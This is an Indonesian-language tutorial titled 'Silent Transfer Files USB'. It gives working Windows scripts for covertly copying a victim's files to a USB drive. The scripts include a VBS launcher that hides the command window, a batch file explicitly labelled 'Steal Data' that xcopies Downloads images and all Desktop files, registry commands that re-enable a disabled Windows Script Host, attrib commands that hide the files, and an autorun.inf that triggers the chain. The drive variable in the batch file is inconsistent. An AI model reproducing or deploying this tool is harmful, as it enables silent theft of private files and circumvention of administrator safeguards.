

Silent Transfer Files USB

M Nizar N
publik.nizar@gmail.com

Hidden Proccess CMD Invisible, bikin file (**invisible.vbs**)

```
CreateObject("Wscript.Shell").Run "'''''' & WScript.Arguments(0) & ''''''", 0, False
```

Referensi:

- <https://www.itninja.com/question/completely-invisible-batch-file>
-

Steal Data, bikin file (**start.bat**)

```
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y /g
echo off
%backupcmd% "%USERPROFILE%\downloads\*png" "%drive%\all\downloads"
%backupcmd% "%USERPROFILE%\desktop\*" "%drive%\all\desktop\*"
@echo off
```

Referensi:

- <https://www.youtube.com/watch?v=TQOPTn12OZA>
-

Run invisible.vbs and start.bat same time, bikin file (**ok.bat**)

```
@echo off
wscript.exe "invisible.vbs" "start.bat"
```

Referensi:

- <https://www.itninja.com/question/completely-invisible-batch-file>
-

Fix windows script host machine disabled

- regedit
- lokasi file "enabled"

```
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script Host\Settings  
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings
```

- hapus file "enabled" lewat cmd admin

```
REG DELETE "HKCU\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled /f  
REG DELETE "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled /f
```

- bikin ulang file "Enabled" value 1

```
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script Host\Settings (dword)  
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings (qword)
```

Referensi:

- <https://www.winhelponline.com/blog/windows-script-host-disabled-machine-contact-administrator/>

Hidden file

- cmd

```
attrib +s +h start.bat  
attrib +s +h ok.bat  
attrib +s +h invisible.vbs
```

Show all hidden file

- cmd

```
attrib -s -h
```

Bikin file autorun.inf dengan autorun creator

- code dalam **autorun.inf**

```
[autorun]  
icon=favicon.ico  
label=usb pro
```

open=ok.bat

- ketika sudah membuat autorun.inf dengan **autorun creator**, akan dibuatkan folder **open files** yang berisi file **.exe**
- kalau folder **open files** dihapus, maka **autorun** tidak akan bekerja.